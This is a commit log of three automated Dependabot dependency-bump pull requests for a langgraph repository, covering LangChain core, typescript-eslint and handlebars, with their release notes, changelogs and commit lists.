4 people	d8b742a4b3	chore(deps): bump the minor-and-patch group in /libs/cli/js-examples with 3 updates (#7295) ... Bumps the minor-and-patch group in /libs/cli/js-examples with 3 updates: [@langchain/core](https://github.com/langchain-ai/langchainjs), [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) and [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser). Updates `@langchain/core` from 1.1.35 to 1.1.36 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.36</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10512">#10512</a> <a href="https://github.com/langchain-ai/langchainjs/commit/bbbfea185c0777ae06df2b24a1a84f941d499c2a"><code>bbbfea1</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): fix streaming chunk merge for providers without <code>index</code> on tool call deltas</p> <p><code>_mergeLists</code> now falls back to <code>id</code>-based matching when items don't have an <code>index</code> field. Previously, providers routing through the OpenAI-compatible API without <code>index</code> on streaming tool call deltas (e.g. Anthropic models via <code>ChatOpenAI</code>) would accumulate hundreds of individual raw deltas in <code>tool_call_chunks</code> and <code>additional_kwargs.tool_calls</code> instead of merging them into a single entry per tool call. In a real trace with 3 concurrent subagents, this caused a single AI message to balloon from ~4KB to 146KB -- with 826 uncollapsed streaming fragments carrying a few bytes each.</p> <p>Also fixes <code>SystemMessage.concat()</code> which used <code>...this</code> to spread all instance properties (including <code>lc_kwargs</code>) into the new constructor, causing each chained <code>concat()</code> call to nest one level deeper. After 7 middleware <code>concat()</code> calls (typical in deepagents), a 7KB system prompt would serialize to 81KB due to content being duplicated at every nesting level.</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/d2a0c2d5b5a23a60791d01c98874c53f555ed5d8"><code>d2a0c2d</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10508">#10508</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/bbbfea185c0777ae06df2b24a1a84f941d499c2a"><code>bbbfea1</code></a> fix(core): fix _mergeLists id-only fallback and SystemMessage.concat lc_kwarg...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/478652c01cdae0703415febd250b6c2656b36410"><code>478652c</code></a> fix(openai): detect DeepSeek context overflow errors as ContextOverfl… (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10481">#10481</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/3d35eb112b46b36aea80cebe0147e315d03a1d8e"><code>3d35eb1</code></a> fix(langchain): add &quot;aws&quot; alias to MODEL_PROVIDER_CONFIG for Bedrock hub prom...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/52e501b44ee54ace1889ec9149a3617c4409db51"><code>52e501b</code></a> fix(openai): guard JSON.parse in streaming json_schema when text is empty (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/1">#1</a>...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/ae4122f9523904423504e5a92c134c625977261d"><code>ae4122f</code></a> Align Zod Importation For 'libs/langchain/src/agents/nodes/utils.ts' (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10258">#10258</a>)</li> <li>See full diff in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.35...@langchain/core@1.1.36">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.57.1 to 8.57.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.2</h2> <h2>8.57.2 (2026-03-23)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] remove dangling closing parenthesis (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11865">#11865</a>)</li> <li><strong>eslint-plugin:</strong> [array-type] ignore Array and ReadonlyArray without type arguments (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11971">#11971</a>)</li> <li><strong>eslint-plugin:</strong> [no-restricted-types] flag banned generics in extends or implements (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12120">#12120</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-useless-default-assignment] skip reporting false positives for unresolved type parameters (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12127">#12127</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-readonly-parameter-types] preserve type alias infomation (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11954">#11954</a>)</li> <li><strong>typescript-estree:</strong> skip createIsolatedProgram fallback for projectService (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12066">#12066</a>, <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12065">#12065</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Konv Suu</li> <li>mdm317</li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>RyoheiYamamoto</li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Tamashoo <a href="https://github.com/Tamashoo"><code>@​Tamashoo</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.2 (2026-03-23)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-readonly-parameter-types] preserve type alias infomation (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11954">#11954</a>)</li> <li><strong>eslint-plugin:</strong> [no-useless-default-assignment] skip reporting false positives for unresolved type parameters (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12127">#12127</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-restricted-types] flag banned generics in extends or implements (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12120">#12120</a>)</li> <li><strong>eslint-plugin:</strong> [array-type] ignore Array and ReadonlyArray without type arguments (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11971">#11971</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] remove dangling closing parenthesis (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11865">#11865</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Konv Suu</li> <li>mdm317</li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Tamashoo <a href="https://github.com/Tamashoo"><code>@​Tamashoo</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/be4d54d26e695cc93605ffcca67dd75848e95c6f"><code>be4d54d</code></a> chore(release): publish 8.57.2</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/f68c8e4baca096281b458ccb6ff16ca6c5a1d199"><code>f68c8e4</code></a> fix(eslint-plugin): [prefer-readonly-parameter-types] preserve type alias inf...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/73acd2e6833c4757d2743a8dbb979154d31a1e98"><code>73acd2e</code></a> fix(eslint-plugin): [no-useless-default-assignment] skip reporting false posi...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/3d21482030e4fd220f466cea7036e07695277364"><code>3d21482</code></a> fix(eslint-plugin): [no-unsafe-return] false positive on unwrapping generic (...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/e128548b50573ebe3904662222e05be63970fc32"><code>e128548</code></a> fix(eslint-plugin): [no-restricted-types] flag banned generics in extends or ...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2b7f63f9cdf91dc216678f9a0d1ffe1aaf2ff0af"><code>2b7f63f</code></a> chore(eslint-plugin): correct tsutils.isTypeFlag usage post-merge</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/65175cdfb564218a785e0b63056eee3b113d287f"><code>65175cd</code></a> fix(eslint-plugin): [array-type] ignore Array and ReadonlyArray without type ...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/9c9ab5e8a37a2db49bde7255337f64d1140ee640"><code>9c9ab5e</code></a> feat(eslint-plugin): [no-unnecessary-type-arguments] report inferred required...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/42a1c89c89e7fe1c13962b2e41cb78611ad16d41"><code>42a1c89</code></a> fix(eslint-plugin): [prefer-optional-chain] remove dangling closing parenthes...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/71855ff116a074e1ee5e2d804cf5cf493ee49e98"><code>71855ff</code></a> docs(eslint-plugin): [no-unnecessary-condition] add link to TS handbook (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12131">#12131</a>)</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.2/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.57.1 to 8.57.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.2</h2> <h2>8.57.2 (2026-03-23)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] remove dangling closing parenthesis (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11865">#11865</a>)</li> <li><strong>eslint-plugin:</strong> [array-type] ignore Array and ReadonlyArray without type arguments (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11971">#11971</a>)</li> <li><strong>eslint-plugin:</strong> [no-restricted-types] flag banned generics in extends or implements (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12120">#12120</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-useless-default-assignment] skip reporting false positives for unresolved type parameters (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12127">#12127</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-readonly-parameter-types] preserve type alias infomation (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11954">#11954</a>)</li> <li><strong>typescript-estree:</strong> skip createIsolatedProgram fallback for projectService (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12066">#12066</a>, <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12065">#12065</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Konv Suu</li> <li>mdm317</li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>RyoheiYamamoto</li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Tamashoo <a href="https://github.com/Tamashoo"><code>@​Tamashoo</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.2 (2026-03-23)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/be4d54d26e695cc93605ffcca67dd75848e95c6f"><code>be4d54d</code></a> chore(release): publish 8.57.2</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.2/packages/parser">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com>	2026-03-29 23:30:30 +00:00
3 people	2510e450f9	chore(deps): bump handlebars from 4.7.8 to 4.7.9 in /libs/cli/js-examples (#7309) ... Bumps [handlebars](https://github.com/handlebars-lang/handlebars.js) from 4.7.8 to 4.7.9. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/handlebars-lang/handlebars.js/releases">handlebars's releases</a>.</em></p> <blockquote> <h2>v4.7.9</h2> <ul> <li>fix: enable shell mode for spawn to resolve Windows EINVAL issue - e0137c2</li> <li>fix type &quot;RuntimeOptions&quot; also accepting string partials - eab1d14</li> <li>feat(types): set <code>hash</code> to be a <code>Record&lt;string, any&gt;</code> - de4414d</li> <li>fix non-contiguous program indices - 4512766</li> <li>refactor: rename i to startPartIndex - e497a35</li> <li>security: fix security issues - 68d8df5 <ul> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh</a></li> <li><a href="https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2">https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2</a></li> </ul> </li> </ul> <p><a href="https://github.com/handlebars-lang/handlebars.js/compare/v4.7.8...v4.7.9">Commits</a></p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/handlebars-lang/handlebars.js/blob/v4.7.9/release-notes.md">handlebars's changelog</a>.</em></p> <blockquote> <h2>v4.7.9 - March 26th, 2026</h2> <ul> <li>fix: enable shell mode for spawn to resolve Windows EINVAL issue - e0137c2</li> <li>fix type &quot;RuntimeOptions&quot; also accepting string partials - eab1d14</li> <li>feat(types): set <code>hash</code> to be a <code>Record&lt;string, any&gt;</code> - de4414d</li> <li>fix non-contiguous program indices - 4512766</li> <li>refactor: rename i to startPartIndex - e497a35</li> <li>security: fix security issues - 68d8df5</li> </ul> <p><a href="https://github.com/handlebars-lang/handlebars.js/compare/v4.7.8...v4.7.9">Commits</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/dce542c9a660048d31f0981ac8a45c08b919bddb"><code>dce542c</code></a> v4.7.9</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/8a41389ba5b2624b6f43a5463d8e2533b843a562"><code>8a41389</code></a> Update release notes</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"><code>68d8df5</code></a> Fix security issues</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/b2a083136b11e1da9f0f47a11f749a9830a49328"><code>b2a0831</code></a> Fix browser tests</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/9f98c1629834abf8de5a127caff8a2eab03d2c12"><code>9f98c16</code></a> Fix release script</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/45443b4290475dfb7cec32a85d344f12ab345eb9"><code>45443b4</code></a> Revert &quot;Improve partial indenting performance&quot;</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/8841a5f6d35096aee95d68e1e49636a4cb5c661e"><code>8841a5f</code></a> Fix CI errors with linting</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/e0137c26f2202593bca7cc25184e733e87d54709"><code>e0137c2</code></a> fix: enable shell mode for spawn to resolve Windows EINVAL issue</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/e914d6037ffb0dd371f7e4823cdb019732ae66d7"><code>e914d60</code></a> Improve rendering performance</li> <li><a href="https://github.com/handlebars-lang/handlebars.js/commit/7de4b41c344a5d702edca93d1841b59642fa32bd"><code>7de4b41</code></a> Upgrade GitHub Actions checkout and setup-node on 4.x branch</li> <li>Additional commits viewable in <a href="https://github.com/handlebars-lang/handlebars.js/compare/v4.7.8...v4.7.9">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-29 23:30:08 +00:00
3 people	280ccbec04	chore(deps): bump langchain-core from 1.2.16 to 1.2.22 in /libs/cli (#7320) ... Bumps [langchain-core](https://github.com/langchain-ai/langchain) from 1.2.16 to 1.2.22. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchain/releases">langchain-core's releases</a>.</em></p> <blockquote> <h2>langchain-core==1.2.22</h2> <p>Changes since langchain-core==1.2.21</p> <p>release(core): 1.2.22 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36201">#36201</a>) fix(core): validate paths in <code>prompt.save</code> and <code>load_prompt</code>, deprecate methods (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36200">#36200</a>)</p> <h2>langchain-core==1.2.21</h2> <p>Changes since langchain-core==1.2.20</p> <p>release(core): 1.2.21 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36179">#36179</a>) fix(core,model-profiles): add missing <code>ModelProfile</code> fields, warn on schema drift (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36129">#36129</a>) chore(core): remove stale blockbuster allowlist for deleted context module (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36168">#36168</a>) ci: suppress pytest streaming output in CI (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36092">#36092</a>)</p> <h2>langchain-core==1.2.20</h2> <p>Changes since langchain-core==1.2.19</p> <p>release(core): 1.2.20 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36085">#36085</a>) fix(core): trace invocation params in metadata (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36080">#36080</a>) feat: Add LangSmith integration metadata to create_agent and init_chat_model (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35810">#35810</a>) feat(core): harden anti-ssrf (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35960">#35960</a>) ci: avoid unnecessary dep installs in lint targets (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36046">#36046</a>) docs(core): document <code>base_url</code> in mermaid api (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35961">#35961</a>) chore: bump orjson from 3.11.5 to 3.11.6 in /libs/core (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35805">#35805</a>) chore: housekeeping (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35850">#35850</a>)</p> <h2>langchain-core==1.2.19</h2> <p>Changes since langchain-core==1.2.18</p> <p>release(core): 1.2.19 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35832">#35832</a>) chore(core): move BaseCrossEncoder to langchain-core (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35809">#35809</a>) chore: bump tornado from 6.5.2 to 6.5.5 in /libs/core (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35775">#35775</a>)</p> <h2>langchain-core==1.2.18</h2> <p>Changes since langchain-core==1.2.17</p> <p>release(core): 1.2.18 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35704">#35704</a>) fix(core): fix double backticks in deprecation docstring for alternative_import (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35658">#35658</a>) fix(core): preserve default_factory when generating tool call schema (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35550">#35550</a>) feat(openai): support tool search (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35582">#35582</a>) chore: bump the minor-and-patch group across 3 directories with 7 updates (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35605">#35605</a>)</p> <h2>langchain-core==1.2.17</h2> <p>Changes since langchain-core==1.2.16</p> <p>release(core): 1.2.17 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35527">#35527</a>) fix(core): extract usage metadata from serialized tracer message outputs (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35526">#35526</a>) chore: bump the langchain-deps group across 3 directories with 7 updates (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35513">#35513</a>) chore: bump the langchain-deps group across 3 directories with 14 updates (<a href="https://redirect.github.com/langchain-ai/langchain/issues/35441">#35441</a>)</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchain/commit/d22df94537e4267f72dc1bbfc8e3849baf20d9f7"><code>d22df94</code></a> release(core): 1.2.22 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36201">#36201</a>)</li> <li><a href="https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c"><code>27add91</code></a> fix(core): validate paths in <code>prompt.save</code> and <code>load_prompt</code>, deprecate metho...</li> <li><a href="https://github.com/langchain-ai/langchain/commit/7563fceb40ce31165524f3f57ec65e487c02b1a7"><code>7563fce</code></a> chore(model-profiles): refresh model profile data (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36195">#36195</a>)</li> <li><a href="https://github.com/langchain-ai/langchain/commit/3e64c255b84b283b3a65216b19b9838734258c96"><code>3e64c25</code></a> chore: use repo permissions instead of org membership for maintainer override...</li> <li><a href="https://github.com/langchain-ai/langchain/commit/1778b082ecd64a9dedd48674d874ca1bfcbe4c7d"><code>1778b08</code></a> chore(partners): bump <code>langchain-core</code> min to <code>1.2.21</code> (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36183">#36183</a>)</li> <li><a href="https://github.com/langchain-ai/langchain/commit/ad574fce0d52740c249b0db7bde871d779ffb93d"><code>ad574fc</code></a> fix(openai): bump min core version (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36180">#36180</a>)</li> <li><a href="https://github.com/langchain-ai/langchain/commit/19f81cf6f1d73f7adf156491ba0617497a526b8c"><code>19f81cf</code></a> release(core): 1.2.21 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36179">#36179</a>)</li> <li><a href="https://github.com/langchain-ai/langchain/commit/6d07ef28a7023dc7b832fe52862f7a6fc0a187f3"><code>6d07ef2</code></a> release(openai): 1.1.12 (<a href="https://redirect.github.com/langchain-ai/langchain/issues/36178">#36178</a>)</li> <li><a href="https://github.com/langchain-ai/langchain/commit/2f64d80cc65091985873c339ca76a59af7baf739"><code>2f64d80</code></a> fix(core,model-profiles): add missing <code>ModelProfile</code> fields, warn on schema d...</li> <li><a href="https://github.com/langchain-ai/langchain/commit/5ffece5c033365baf4a3df52ffed5c6bfbed27ee"><code>5ffece5</code></a> chore(core): remove stale blockbuster allowlist for deleted context module (#...</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchain/compare/langchain-core==1.2.16...langchain-core==1.2.22">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-29 23:29:53 +00:00
